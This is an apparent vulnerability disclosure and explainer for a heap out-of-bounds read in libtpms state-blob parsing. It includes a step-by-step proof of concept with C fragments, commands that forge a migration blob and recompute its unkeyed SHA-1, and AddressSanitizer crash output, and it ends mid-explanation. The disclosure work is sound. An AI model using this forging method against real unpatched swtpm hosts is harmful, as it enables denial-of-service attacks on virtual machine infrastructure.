CVE-2026–85769 — Heap Out-of-Bounds Read in libtpms State Deserialization
The libtpms state deserialiser trusted a 16-bit block size taken from the state blob and advanced its cursor without checking it against the bytes remaining, so a forged blob pushed the signed remaining-size counter negative. Because every scalar bounds check cast that counter to unsigned, the checks passed and the parser read past the heap allocation, causing an abort.
Published on infosecwriteups.com
Libtpms
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
libtpms is the library that implements the TPM 2.0 (and TPM 1.2) emulation used by software TPMs such as swtpm. It has two parsers. One takes marshalled TPM commands from the guest; the other takes a serialised state blob and reconstructs everything the TPM knows: PCRs, sessions, loaded objects and NV state, in one pass through a stack of hand-written unmarshallers.
TPMLIB_Process() <- marshalled TPM commands from the guest [fuzzed hard]TPMLIB_SetState() <- the serialized state blob [less so]

The command path is the obvious one and OSS-Fuzz has been on it for years. The state path has been fuzzed far less.
The state path is reached two ways:
TPMLIB_SetState(TPMLIB_STATE_VOLATILE, ...)TPMLIB_MainInit -> _TPM_Init -> VolatileLoad
Who controls the blob matters. If it is written and read back by the same process there is no boundary and no bug. Live migration is what makes it one: in swtpm the state moves host-to-host over CMD_GET_STATEBLOB / CMD_SET_STATEBLOB, driven by libvirt. The destination parses bytes produced on the source.
--migration-key does not close it. The key is shared between both hosts, so a compromised source holds it and produces a blob that decrypts correctly. It stops a MITM, not a hostile peer.

Setup
The library was built from source with AddressSanitizer, for both TPM 1.2 and TPM 2.0, against OpenSSL:
git clone https://github.com/stefanberger/libtpmscd libtpms && ./autogen.sh \ --with-tpm1 --with-tpm2 --with-openssl \ CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1' \ LDFLAGS='-fsanitize=address'make -j4
export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0
The built .so is libtpms.so.0.10.2 on the 0.10.2 tree and libtpms.so.0.11.0 on master. Those are not package versions: they come from libtool -version-info in configure.ac.
LIBTPMS_VERSION_INFO = (MAJOR+MINOR):MICRO:MINOR0.10.2 -> 10:2:10 -> (current−age).age.revision -> .so.0.10.20.11.0 -> 11:0:11 -> -> .so.0.11.0
Matching is coincidence.
Finding it
State blobs are versioned, so a newer libtpms can write fields that an older libtpms does not know about. Optional blocks express this: here is a chunk, N bytes, skip it if you do not need it. In src/tpm2/NVMarshal.c, master lines 144 to 148:
} else if (has_block && !needs_block) { *buffer += blocksize; *size -= blocksize; *skip_code = TRUE;}
blocksize is a UINT16 taken from the blob. *buffer is the cursor. *size is bytes remaining. Nothing compares them. A blob can declare a 65535-byte optional block in an allocation with 200 bytes left. The cursor goes. *size, an INT32, goes negative.
Nothing downstream catches it. In src/tpm2/Unmarshal.c, in front of every scalar read:
if ((UINT32)*size < sizeof(UINT16)) { return TPM_RC_INSUFFICIENT; }
*size is signed and now around -8000. The check casts it:
(UINT32)(-8000) = 0xFFFFE0C0 = 42949592964294959296 < 2 -> false
It passes. And it keeps passing: the further past the allocation the parse runs, the more negative *size gets, and the larger it looks unsigned. The guard becomes more permissive as the situation gets worse.

The same file already has the correct form, in Array_Unmarshal:
if (*size < (INT32)size) { return TPM_RC_INSUFFICIENT; }
The array path compares signed. The scalar paths cast. That is the defect.
The integrity check does not help either. In src/tpm2/Volatile.c:
CryptHashBlock(hashAlg , *size - sizeof(hash), *buffer, sizeof(acthash), acthash);...if (memcmp(acthash, hash, sizeof(hash))) { }
That is SHA-1 over blob[0 .. len-20], compared against the trailing 20 bytes. No key. Edit the bytes, rehash, done. An unkeyed hash over attacker-reachable data detects corruption, not tampering.
Exploitation
Step 1: build a generator and a loader
You cannot hand-craft a volatile blob, because it is the serialisation of a live TPM. The tool therefore has two modes: produce a blob first, then load a mutated copy back.
poc_ltpm gen <permfile> <volfile>poc_ltpm test <permfile> <volfile> <off> <blocksize>
The gen mode uses the public API only:
TPMLIB_ChooseTPMVersion(TPMLIB_TPM_VERSION_2);TPMLIB_MainInit();TPMLIB_GetState(TPMLIB_STATE_PERMANENT, &perm, &permlen);TPMLIB_GetState(TPMLIB_STATE_VOLATILE, &vol, &vollen);
No internal headers, no reaching into structs, so the maintainer can build and run it without trusting anything about the tree.
Step 2: satisfy the load path's two constraints
SetState needs the TPM powered off. Calling it on a fresh process fails without saying why. Bring the TPM up so crypto initialises, then power it down:
TPMLIB_ChooseTPMVersion(TPMLIB_TPM_VERSION_2);TPMLIB_MainInit();TPMLIB_Terminate();
PERMANENT must be cached before VOLATILE. Volatile state references permanent state, so loading volatile alone fails in the preamble, nowhere near the sink:
TPMLIB_SetState(TPMLIB_STATE_PERMANENT, perm, permlen); TPMLIB_SetState(TPMLIB_STATE_VOLATILE, vol, vollen);
Miss either and the bug looks unreachable when the harness is just failing early.
Step 3: forge the trailer and rehash
Three bytes plus a rehash. Big-endian, because that is what UINT16_Marshal wrote:
vol[off] = 0x01; vol[off + 1] = (unsigned char)((blocksize >> 8) & 0xff); vol[off + 2] = (unsigned char)( blocksize & 0xff);
/* mirror Volatile.c: SHA1 over blob[0 .. len-20], into the last 20 */SHA1(vol, vollen - SHA1_LEN, vol + (vollen - SHA1_LEN));
Step 4: print the arithmetic before every run
printf("[test] *buffer after trailer -> base+%ld ; " "end-of-alloc -> base+%ld ; overshoot -> base+%ld (end %+ld)\n", off + 3, vollen, off + 3 + blocksize, (off + 3 + blocksize) - vollen);
Targeting 8 bytes past the allocation means seeing (end +8) before ASan says anything. Tuning the overshoot becomes reading a number instead of guessing.
Step 5: guard rails and a control mode
If the mutation offset lands inside the trailing hash region you overwrite the checksum with the checksum:
if (off + 2 >= vollen - SHA1_LEN) { fprintf(stderr, "[test] WARNING: offset in/after hash region\n");}
And off < 0 loads the blob unmutated, which is what tells you the harness works when a run does not crash:
if (off >= 0) { /* forge trailer + rehash */} else { printf("[test] off<0: no mutation, loading VALID blob\n");}
Step 6: link
gcc -o poc_ltpm poc_ltpm.c -I include -L src/.libs -Wl,-rpath,src/.libs -ltpms -lcrypto
Step 7: locate the trailer
The blob is 8778 bytes. The target is the has_block byte of a BLOCK_SKIP_READ(..., FALSE, ...) trailer.
Not every trailer qualifies. skip_self_heal_timer appears early and looks like one, but TpmBuildSwitches.h:196 rules it out:
#define ACCUMULATE_SELF_HEAL_TIMER YES
With that set it is emitted with needs_block = TRUE, taking the branch that reads the block properly. It never reaches the vulnerable path.
The reachable one passes the literal FALSE:
v0.10.2 NVMarshal.c:770 BLOCK_SKIP_READ(skip_future_versions, FALSE, buffer, size, "ORDERLY_DATA", "version 3 or later");master NVMarshal.c:737 (identical)
Rather than counting bytes, instrument block_skip_read():
fprintf(stderr, "[ltpm] block_skip_read name=\"%s\" field=\"%s\" needs_block=%d " "has_block=%d blocksize=%u has_block_off=%ld size_after_trailer=%d\n", name, field, needs_block, has_block, blocksize, (long)(*buffer - blob_base - 3), *size);
On a clean blob:
[ltpm] block_skip_read name="ORDERLY_DATA" field="version 3 or later" needs_block=0 has_block=1 blocksize=0 has_block_off=173 size_after_trailer=8602
As a cross-check, forge blocksize = 0x1234 at 173 and confirm it reads back at the same field:
[ltpm] block_skip_read name="ORDERLY_DATA" field="version 3 or later" needs_block=0 has_block=1 blocksize=4660 has_block_off=173 size_after_trailer=8602

Offset 173, confirmed two independent ways, identical on both trees.
Step 8: land in the redzone
blocksize = 0xFFFF gives a wild pointer and a SEGV. That is a weak artifact: it could be anything, and the reader has to take your word. Size it to land just past the allocation instead, so ASan states the overshoot and the region itself:
blocksize = (len − off − 3) + 8 = (8778 − 173 − 3) + 8 = 8610
Cursor after the trailer is base + 176. Plus 8610 gives base + 8786. malloc(8778) ends at base + 8778. Eight over.
./poc_ltpm gen perm.bin vol.bin./poc_ltpm test perm.bin vol.bin 173 8610
==1905==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000007352READ of size 1 at 0x525000007352 thread T0 #0 in UINT16_Unmarshal tpm2/Unmarshal.c:71 #1 in NV_HEADER_UnmarshalVerbose tpm2/NVMarshal.c:419 #2 in NV_HEADER_Unmarshal tpm2/NVMarshal.c:453 #3 in STATE_CLEAR_DATA_Unmarshal tpm2/NVMarshal.c:1302 #4 in VolatileState_Unmarshal tpm2/NVMarshal.c:3431 #5 in VolatileState_Load tpm2/Volatile.c:81 #6 in TPM2_SetState src/tpm_tpm2_interface.c:820 #7 in TPMLIB_SetState src/tpm_library.c:222
0x525000007352 is located 8 bytes after 8778-byte region [0x525000005100,0x52500000734a)Shadow bytes around the buggy address:=>0x525000007300: 00 00 00 00 00 00 00 00 00 02[fa]fa fa fa fa fa
The shadow bytes confirm the arithmetic: 02 covers 0x7348-0x734f with two bytes addressable, matching a region ending at 0x734a; the faulting address 0x7352 sits in the following fa redzone.
The fault is not in block_skip_read, which advances the cursor and returns without reading. Damage lands on the next structure read, STATE_CLEAR_DATA_Unmarshal reaching for an NV_HEADER. The instrumentation from the previous step is what ties the two together. The faulting address, region and overshoot are identical on master and v0.10.2.
Step 9: check whether it leaks
Rebuilt without ASan, overreads return adjacent heap instead of aborting:
| Overshoot | blocksize |
SetState(VOLATILE) rc |
|---|---|---|
| 1 byte | 8603 | 0x1e |
| 8 bytes | 8610 | 0x1e |
| 16 bytes | 8618 | 0x1e |
| 64 bytes | 8666 | 0x1e |
0x1e is TPM_RC_BAD_TAG. stderr:
libtpms/tpm2: NV_HEADER_UnmarshalVerbose: Invalid magic. Expected 0x98897667, got 0x00000000
After the overshoot the next read is an NV_HEADER, whose first field is a 32-bit magic that must match a constant. Adjacent heap satisfies that with p ≈ 2⁻³². VolatileState_Unmarshal returns BAD_TAG, VolatileState_Load fails, TPM2_SetState fails, ClearAllCachedState() discards everything. No OOB bytes reach TPMLIB_GetState.
So the ceiling is C:N: denial of service and undefined behaviour. Going further would need heap grooming such that STATE_CLEAR, STATE_RESET, sessions, objects and PCRs all pass their magic and consistency checks, which was not demonstrated and is heavily constrained. Red Hat's review reached the same conclusion independently.
Root cause
The skip in block_skip_read() advances the unmarshal cursor by a UINT16 read from the blob without bounding it against the remaining size, and the remaining-size counter is a signed INT32 that goes negative. Every scalar guard is written as (UINT32)*size < sizeof(...), so a negative counter becomes a huge unsigned value and the check passes, every read, every time. The correct signed comparison already existed in Array_Unmarshal three functions away.
The integrity check did not stop it because it is an unkeyed SHA-1 over the blob body compared with the trailing 20 bytes: recompute it after tampering and the blob is accepted. On a migration channel the sender is the party you are defending against, and the shared migration key is held by that same sender.
Impact
A forged volatile blob passed to TPMLIB_SetState() produces a heap out-of-bounds read and, under ASan, an abort. In a non-instrumented build the parse fails on the next structure's magic and the cached state is cleared, so the demonstrated outcome is denial of service and undefined behaviour, not an information leak. The precondition is that an attacker can supply the state blob, which in practice means a compromised migration source in swtpm. The demonstrated ceiling is C:N.
Fix
The patch sent bounded blocksize at the skip:
if (*size < 0 || (UINT32)blocksize > (UINT32)*size) { rc = TPM_RC_INSUFFICIENT;} else { *buffer += blocksize; *size -= blocksize; *skip_code = TRUE;}
Upstream fixed it at the primitive layer instead, in 9e1475ff, "tpm2: Add checks for*size < 0before casting it to UINT32". block_skip_read() still walks the cursor off the end; the next primitive read refuses to act on a negative *size. That closes the class rather than the instance: every record type funnelling reads through those primitives is covered by one patch, and there were eight.
Verified against 9e1475ff and its parent ba73ab17, both under ASan:
ba73ab17 : blocksize=0xFFFF -> ASan SEGV in UINT16_Unmarshalba73ab17 : blocksize=S+1 -> heap-buffer-overflow READ, 1 byte past region9e1475ff : all attack cases -> TPM_RC_INSUFFICIENT (0x9a), no ASan report9e1475ff : valid blob -> rc=0
Still open as a design question: keyed integrity for state accepted over a migration channel. The unkeyed SHA-1 provides no authenticity, which is why a mutated blob gets parsed at all. swtpm is arguably the right layer for that, not libtpms.
Timeline:
2026-09-01 Reported privately to the libtpms maintainer libtpms issue 2026-09-04 Fixed upstream in 9e1475ff (PR 2026-09-04 Reported to Red Hat Product Security2026-09-04 CVE-2026-85769 assigned, Moderate, 6.5
Credited to Isuka Sanuj (CyberCrew Inc.). The report links https://github.com/isukasanuj/CVE-2026-85769.
Variants to test
- Other optional-block skips. Grep for
BLOCK_SKIP_READand check which call sites passFALSEforneeds_blockand are reachable with a compile-time switch in its permissive state. A positive result is a trailer whosehas_blockbyte can be set to0x01with a largeblocksizeand whose instrumentation shows the cursor moving past the end of the allocation. - Signed counters compared after a cast. Search for
(UINT32)*size <and similar patterns in any deserialiser. A positive result is a negative remaining-size value that passes a length guard and is followed by a read. - Unkeyed integrity over attacker-supplied state. Look for SHA-1, MD5 or CRC checks over save files, migration blobs or import formats where the sender is not trusted. A positive result is a mutated blob that is accepted after recomputing the trailer.
- Offset drift in reproducers. Instrument the parser to print the offset of each candidate field instead of counting bytes, as done here with one
fprintf. A positive result is a stable offset confirmed by two independent methods, on both the release and master trees. - Deliberate redzone landing. Size the overshoot to end a few bytes past the allocation rather than using
0xFFFF. A positive result is an ASan report that states the exact overshoot and the region, which is a stronger artifact than a wild-pointer SEGV.
What happened, in plain words
A piece of software called libtpms reads a saved file that describes the state of a virtual TPM (a small security chip that a virtual machine can use). That saved file can be sent from one computer to another when a virtual machine is moved, a process called live migration. The researcher found that a malicious sender can edit a few bytes in that file, recalculate a checksum that has no secret key, and make the reader walk past the end of its memory buffer. The result is a crash (denial of service) and undefined behaviour, not a leak of secret data. The bug was reported privately, fixed upstream and given the identifier CVE-2026-85769.
This article walks through the whole thing from zero: what the software does, what the bug is, how the proof of concept was built, what the crash showed, why it is not worse than a crash, and how it was fixed.
Background: what a TPM is, and what libtpms does
A TPM (Trusted Platform Module) is a small chip, or a piece of software pretending to be one, that stores secrets and measurements for a computer. Real TPMs are physical chips soldered to a motherboard. A software TPM does the same job in code, which is useful for virtual machines: each virtual machine can have its own pretend chip.
libtpms is the library that implements the TPM behaviour. swtpm is a program that uses libtpms to give virtual machines a software TPM. When a virtual machine is moved from one physical host to another while it is running, that is live migration, and the TPM state has to travel with it.
A library is a bundle of code that other programs call, rather than a program you run yourself. A parser is code that reads a structured stream of bytes and turns it back into meaningful data. A deserialiser is the same idea: it takes a saved (serialised) form and rebuilds the live objects.
The two ways into libtpms
libtpms has two parsers. One takes commands from the guest (the virtual machine), the other takes a saved state file and rebuilds everything the TPM knows: PCRs, sessions, loaded objects and NV state.
TPMLIB_Process() <- marshalled TPM commands from the guest [fuzzed hard]TPMLIB_SetState() <- the serialized state blob [less so]

Line by line:
TPMLIB_Process()is the function that receives commands from the guest. Marshalled means packed into a byte format for transport. The note[fuzzed hard]means this path has been hammered by fuzzing, an automated technique that feeds random or semi-random input to a program looking for crashes. OSS-Fuzz is a well-known service that does this continuously.TPMLIB_SetState()is the function that receives a saved state blob. A blob here just means a chunk of bytes. The note[less so]means this path has had much less fuzzing attention.
The command path is the obvious target and has been fuzzed for years. The state path is the one this report is about.
The state path is reached two ways:
TPMLIB_SetState(TPMLIB_STATE_VOLATILE, ...)TPMLIB_MainInit -> _TPM_Init -> VolatileLoad
- The first line is a direct call to load volatile state. Volatile means state that is lost when the TPM is powered off, as opposed to permanent state that survives.
- The second line is the startup sequence:
TPMLIB_MainInitinitialises the library,_TPM_Initinitialises the TPM, andVolatileLoadloads the volatile state. So even normal startup can reach the same parser.
Who controls the blob, and why that matters
If the same process writes the blob and reads it back, there is no trust boundary and no bug: the program is only reading its own data. Live migration is what creates the boundary. In swtpm the state moves from host to host over two commands, CMD_GET_STATEBLOB and CMD_SET_STATEBLOB, driven by libvirt (the management layer for virtual machines). The destination host parses bytes that were produced on the source host.
There is an option called --migration-key that uses a key shared between both hosts. It does not close the problem. The key is shared between both hosts, so a compromised source host holds the key and can produce a blob that decrypts correctly. It stops a MITM (man in the middle, someone intercepting traffic between two honest parties), not a hostile peer.

Setting up a test build
The library was built from source with AddressSanitizer, a tool that watches memory accesses and aborts the program with a detailed report when code reads or writes outside an allocated region. It was built for both TPM 1.2 and TPM 2.0, against OpenSSL (the cryptography library).
git clone https://github.com/stefanberger/libtpmscd libtpms && ./autogen.sh \ --with-tpm1 --with-tpm2 --with-openssl \ CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1' \ LDFLAGS='-fsanitize=address'make -j4
Line by line:
git clone https://github.com/stefanberger/libtpmsdownloads the source code from GitHub.cd libtpmsmoves into the downloaded folder../autogen.shruns the project's setup script, which prepares the build system.--with-tpm1 --with-tpm2 --with-opensslenables TPM 1.2 support, TPM 2.0 support and the OpenSSL backend.CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1'tells the compiler to add AddressSanitizer (-fsanitize=address), keep frame pointers so stack traces are readable (-fno-omit-frame-pointer), include debug information (-g) and use light optimisation (-O1).LDFLAGS='-fsanitize=address'makes the linker include the sanitizer runtime.make -j4builds the project using four parallel jobs.
export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0
This sets an environment variable read by AddressSanitizer. abort_on_error=1 makes it abort the process on the first error instead of continuing. detect_leaks=0 turns off leak detection, which is unrelated noise for this test.
The built .so file is libtpms.so.0.10.2 on the 0.10.2 tree and libtpms.so.0.11.0 on master. A .so file is a shared object, a library loaded at runtime. Those numbers are not package versions: they come from libtool -version-info in configure.ac, the build configuration file.
LIBTPMS_VERSION_INFO = (MAJOR+MINOR):MICRO:MINOR0.10.2 -> 10:2:10 -> (current−age).age.revision -> .so.0.10.20.11.0 -> 11:0:11 -> -> .so.0.11.0
This shows how the three numbers in -version-info are turned into a file name suffix. The apparent match between 0.10.2 and the release name is a coincidence.
Finding the bug: optional blocks
State blobs are versioned, meaning newer versions of libtpms can write fields that older versions do not know about. To allow that, the format has optional blocks: a chunk of bytes with a length, which an older reader can skip if it does not need it. Think of it like a parcel with a label saying "contents: 500 grams, ignore if not interested".
The code that does the skipping is in src/tpm2/NVMarshal.c, master lines 144 to 148:
} else if (has_block && !needs_block) { *buffer += blocksize; *size -= blocksize; *skip_code = TRUE;}
Line by line:
} else if (has_block && !needs_block) {runs this branch when the blob says a block is present (has_block) but the current code does not need it (!needs_block).*buffer += blocksize;moves the read cursor forward byblocksizebytes. The cursor is a pointer into the blob, like a bookmark in a book.*size -= blocksize;reduces the remaining-bytes counter by the same amount.*skip_code = TRUE;records that the block was skipped.
blocksize is a UINT16, an unsigned 16-bit integer, so it can be anything from 0 to 65535, and it comes straight from the blob. *buffer is the cursor. *size is the number of bytes remaining. Nothing compares blocksize against *size. A blob can declare a 65535-byte optional block in an allocation that has only 200 bytes left. The cursor jumps past the end, and *size, which is a signed INT32, goes negative.
Why the next check does not catch it
Every scalar read in src/tpm2/Unmarshal.c is preceded by a guard:
if ((UINT32)*size < sizeof(UINT16)) { return TPM_RC_INSUFFICIENT; }
Line by line:
(UINT32)*sizetakes the signed remaining-size counter and reinterprets it as an unsigned 32-bit number.< sizeof(UINT16)compares it with the size of a 16-bit value, which is 2 bytes.- If the check fails, the function returns
TPM_RC_INSUFFICIENT, an error code meaning "not enough data".
The problem is the cast. *size is signed and is now around -8000. Casting a negative number to unsigned does not produce zero or an error: it produces a very large positive number, because the same bit pattern is reinterpreted.
(UINT32)(-8000) = 0xFFFFE0C0 = 42949592964294959296 < 2 -> false
Line by line:
(UINT32)(-8000)is the cast of the negative value.0xFFFFE0C0is the same value written in hexadecimal.42949592964294959296is the decimal form. (The report prints this number; the point is that it is enormous.)< 2is the comparison against the required size.-> falsemeans the guard does not fire, so the read proceeds.
It passes. And it keeps passing: the further past the allocation the parse runs, the more negative *size gets, and the larger it looks when cast to unsigned. The guard becomes more permissive as the situation gets worse.

The same file already contains the correct form, in Array_Unmarshal:
if (*size < (INT32)size) { return TPM_RC_INSUFFICIENT; }
Here the comparison is done in signed arithmetic: *size stays signed, and (INT32)size is the requested size as a signed value. A negative remaining size is then correctly seen as smaller than the request, and the guard fires. The array path compares signed; the scalar paths cast. That is the defect.
The integrity check does not help
The blob has a checksum at the end. In src/tpm2/Volatile.c:
CryptHashBlock(hashAlg , *size - sizeof(hash), *buffer, sizeof(acthash), acthash);...if (memcmp(acthash, hash, sizeof(hash))) { }
Line by line:
CryptHashBlock(hashAlg, *size - sizeof(hash), *buffer, sizeof(acthash), acthash)computes a hash over the blob body, excluding the trailing hash, and stores the result inacthash("actual hash").memcmp(acthash, hash, sizeof(hash))compares the computed hash with the hash stored at the end of the blob.- If they differ, the code inside the
ifruns (the report shows the branch empty in this excerpt).
That is SHA-1 over blob[0 .. len-20], compared against the trailing 20 bytes. SHA-1 is a hash function: it turns any input into a fixed-size fingerprint. There is no key involved. Edit the bytes, recompute the hash, and the check passes. An unkeyed hash over data an attacker can reach detects accidental corruption, not deliberate tampering. A keyed hash (such as an HMAC) would require a secret the attacker does not have.
Building the proof of concept
Step 1: a generator and a loader
You cannot hand-craft a volatile blob, because it is the serialisation of a live TPM: it contains internal structures that only the TPM itself knows how to produce. The tool therefore has two modes: produce a blob first, then load a mutated copy back.
poc_ltpm gen <permfile> <volfile>poc_ltpm test <permfile> <volfile> <off> <blocksize>
Line by line:
poc_ltpm gen <permfile> <volfile>creates a fresh TPM, saves its permanent state topermfileand its volatile state tovolfile.poc_ltpm test <permfile> <volfile> <off> <blocksize>loads those files back, but first mutates the byte at offsetoffin the volatile file to declare an optional block ofblocksizebytes.
The gen mode uses the public API only:
TPMLIB_ChooseTPMVersion(TPMLIB_TPM_VERSION_2);TPMLIB_MainInit();TPMLIB_GetState(TPMLIB_STATE_PERMANENT, &perm, &permlen);TPMLIB_GetState(TPMLIB_STATE_VOLATILE, &vol, &vollen);
Line by line:
TPMLIB_ChooseTPMVersion(TPMLIB_TPM_VERSION_2)selects TPM 2.0.TPMLIB_MainInit()initialises the library and the TPM.TPMLIB_GetState(TPMLIB_STATE_PERMANENT, &perm, &permlen)asks for the permanent state and stores it inpermwith lengthpermlen.TPMLIB_GetState(TPMLIB_STATE_VOLATILE, &vol, &vollen)does the same for the volatile state.
No internal headers, no reaching into internal structures. That matters because the maintainer can build and run the tool without trusting anything about the researcher's source tree.
Step 2: the load path has two constraints
SetState needs the TPM powered off. Calling it on a fresh process fails without saying why. The fix is to bring the TPM up so the cryptography initialises, then power it down:
TPMLIB_ChooseTPMVersion(TPMLIB_TPM_VERSION_2);TPMLIB_MainInit();TPMLIB_Terminate();
Line by line:
- Select TPM 2.0.
- Initialise the library and TPM, which sets up the cryptographic state.
TPMLIB_Terminate()powers the TPM down, leaving it in the stateSetStateexpects.
Second, PERMANENT must be loaded before VOLATILE. Volatile state references permanent state, so loading volatile alone fails early, nowhere near the vulnerable code:
TPMLIB_SetState(TPMLIB_STATE_PERMANENT, perm, permlen); TPMLIB_SetState(TPMLIB_STATE_VOLATILE, vol, vollen);
Line by line:
- The first call loads the permanent state from
perm. - The second call loads the volatile state from
vol.
Miss either constraint and the bug looks unreachable when the harness is simply failing early. This is a common trap when building a proof of concept: you conclude the bug is not there when your test setup is wrong.
Step 3: forge the trailer and rehash
Three bytes plus a rehash. The bytes are big-endian, meaning the most significant byte comes first, because that is the order UINT16_Marshal used when writing.
vol[off] = 0x01; vol[off + 1] = (unsigned char)((blocksize >> 8) & 0xff); vol[off + 2] = (unsigned char)( blocksize & 0xff);
Line by line:
vol[off] = 0x01;sets thehas_blockflag to 1, meaning "a block is present".vol[off + 1] = (unsigned char)((blocksize >> 8) & 0xff);writes the high byte ofblocksize: shift right by 8 bits and keep the low 8 bits.vol[off + 2] = (unsigned char)(blocksize & 0xff);writes the low byte.
/* mirror Volatile.c: SHA1 over blob[0 .. len-20], into the last 20 */SHA1(vol, vollen - SHA1_LEN, vol + (vollen - SHA1_LEN));
Line by line:
- The comment says the code mirrors what
Volatile.cdoes: SHA-1 over the blob body, written into the last 20 bytes. SHA1(vol, vollen - SHA1_LEN, vol + (vollen - SHA1_LEN))hashes the firstvollen - SHA1_LENbytes and writes the 20-byte result at the end of the buffer.
This is the step that defeats the integrity check: after editing the bytes, recompute the unkeyed hash and the blob is accepted.
Step 4: print the arithmetic before every run
printf("[test] *buffer after trailer -> base+%ld ; " "end-of-alloc -> base+%ld ; overshoot -> base+%ld (end %+ld)\n", off + 3, vollen, off + 3 + blocksize, (off + 3 + blocksize) - vollen);
Line by line:
- The format string prints four numbers: where the cursor will be after the trailer, where the allocation ends, where the cursor will be after the skip, and the overshoot (how far past the end).
off + 3is the cursor position after the three trailer bytes.vollenis the end of the allocation.off + 3 + blocksizeis the cursor after the skip.(off + 3 + blocksize) - vollenis the overshoot, printed with a sign.
Targeting 8 bytes past the allocation means seeing (end +8) before AddressSanitizer says anything. Tuning the overshoot becomes reading a number instead of guessing.
Step 5: guard rails and a control mode
If the mutation offset lands inside the trailing hash region, you would overwrite the checksum with the checksum, which is pointless:
if (off + 2 >= vollen - SHA1_LEN) { fprintf(stderr, "[test] WARNING: offset in/after hash region\n");}
Line by line:
off + 2is the last byte the mutation touches.vollen - SHA1_LENis where the trailing hash begins.- If the mutation reaches into or past the hash, print a warning to standard error.
And off < 0 loads the blob unmutated. That is the control run: it tells you the harness works when a run does not crash.
if (off >= 0) { /* forge trailer + rehash */} else { printf("[test] off<0: no mutation, loading VALID blob\n");}
Line by line:
- If
offis zero or positive, mutate the blob and rehash. - Otherwise, print that no mutation is being done and load the valid blob.
Step 6: link
gcc -o poc_ltpm poc_ltpm.c -I include -L src/.libs -Wl,-rpath,src/.libs -ltpms -lcrypto
Line by line:
gcc -o poc_ltpm poc_ltpm.ccompiles the source file into an executable calledpoc_ltpm.-I includeadds theincludefolder to the header search path.-L src/.libsadds the folder containing the built library to the library search path.-Wl,-rpath,src/.libsrecords that folder in the executable so the library is found at runtime.-ltpms -lcryptolinks against libtpms and OpenSSL's crypto library.
Step 7: locate the trailer
The blob is 8778 bytes. The target is the has_block byte of a BLOCK_SKIP_READ(..., FALSE, ...) trailer. BLOCK_SKIP_READ is a macro, a piece of code that expands into a larger block, used to read the optional-block trailer.
Not every trailer qualifies. skip_self_heal_timer appears early and looks like one, but TpmBuildSwitches.h:196 rules it out:
#define ACCUMULATE_SELF_HEAL_TIMER YES
Line by line:
- This defines a compile-time switch called
ACCUMULATE_SELF_HEAL_TIMERand sets it toYES.
With that set, the field is emitted with needs_block = TRUE, so the code takes the branch that reads the block properly. It never reaches the vulnerable path.
The reachable one passes the literal FALSE:
v0.10.2 NVMarshal.c:770 BLOCK_SKIP_READ(skip_future_versions, FALSE, buffer, size, "ORDERLY_DATA", "version 3 or later");master NVMarshal.c:737 (identical)
Line by line:
- On the v0.10.2 release, at line 770 of
NVMarshal.c, the macro is called for the fieldskip_future_versionswithneeds_blockset toFALSE, and the labels"ORDERLY_DATA"and"version 3 or later". - On master, at line 737, the call is identical.
Rather than counting bytes by hand, the researcher instrumented block_skip_read(), adding a print inside the function:
fprintf(stderr, "[ltpm] block_skip_read name=\"%s\" field=\"%s\" needs_block=%d " "has_block=%d blocksize=%u has_block_off=%ld size_after_trailer=%d\n", name, field, needs_block, has_block, blocksize, (long)(*buffer - blob_base - 3), *size);
Line by line:
- The format string prints the block name, the field name, whether the block is needed, whether it is present, the declared size, the offset of the
has_blockbyte and the remaining size after the trailer. name, field, needs_block, has_block, blocksizeare the values passed into the function.(long)(*buffer - blob_base - 3)computes the offset of thehas_blockbyte by subtracting the start of the blob and the three trailer bytes from the current cursor.*sizeis the remaining size after the trailer.
On a clean blob:
[ltpm] block_skip_read name="ORDERLY_DATA" field="version 3 or later" needs_block=0 has_block=1 blocksize=0 has_block_off=173 size_after_trailer=8602
Line by line:
- The block is
ORDERLY_DATA, the field isversion 3 or later. needs_block=0means the current code does not need it.has_block=1means the blob says it is present.blocksize=0means it declares zero bytes.has_block_off=173means thehas_blockbyte is at offset 173.size_after_trailer=8602is the remaining size after the trailer.
As a cross-check, forge blocksize = 0x1234 at 173 and confirm it reads back at the same field:
[ltpm] block_skip_read name="ORDERLY_DATA" field="version 3 or later" needs_block=0 has_block=1 blocksize=4660 has_block_off=173 size_after_trailer=8602
Line by line:
- The same block and field are reported.
blocksize=4660is0x1234in decimal, so the forged value was read back.has_block_off=173is unchanged, confirming the offset.

Offset 173, confirmed two independent ways, identical on both trees.
Step 8: land in the redzone
blocksize = 0xFFFF gives a wild pointer and a SEGV (segmentation fault, the operating system killing the process for touching memory it should not). That is a weak artifact: it could be anything, and the reader has to take your word. Size it to land just past the allocation instead, so AddressSanitizer states the overshoot and the region itself:
blocksize = (len − off − 3) + 8 = (8778 − 173 − 3) + 8 = 8610
Line by line:
lenis the blob length, 8778 bytes.offis the offset of thehas_blockbyte, 173.3is the number of trailer bytes.+ 8aims 8 bytes past the end of the allocation.- The result is 8610.
The cursor after the trailer is base + 176. Adding 8610 gives base + 8786. malloc(8778) ends at base + 8778. Eight over. malloc is the C function that allocates a block of memory on the heap, the area used for data whose size is decided at runtime.
./poc_ltpm gen perm.bin vol.bin./poc_ltpm test perm.bin vol.bin 173 8610
Line by line:
- The first command generates a fresh permanent and volatile state.
- The second loads them back with the byte at offset 173 mutated to declare a block of 8610 bytes.
==1905==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000007352READ of size 1 at 0x525000007352 thread T0 #0 in UINT16_Unmarshal tpm2/Unmarshal.c:71 #1 in NV_HEADER_UnmarshalVerbose tpm2/NVMarshal.c:419 #2 in NV_HEADER_Unmarshal tpm2/NVMarshal.c:453 #3 in STATE_CLEAR_DATA_Unmarshal tpm2/NVMarshal.c:1302 #4 in VolatileState_Unmarshal tpm2/NVMarshal.c:3431 #5 in VolatileState_Load tpm2/Volatile.c:81 #6 in TPM2_SetState src/tpm_tpm2_interface.c:820 #7 in TPMLIB_SetState src/tpm_library.c:222
Line by line:
ERROR: AddressSanitizer: heap-buffer-overflowis the sanitizer reporting a read outside an allocated heap block.READ of size 1means one byte was read.thread T0is the main thread.- The numbered lines are the call stack, from the innermost function to the outermost:
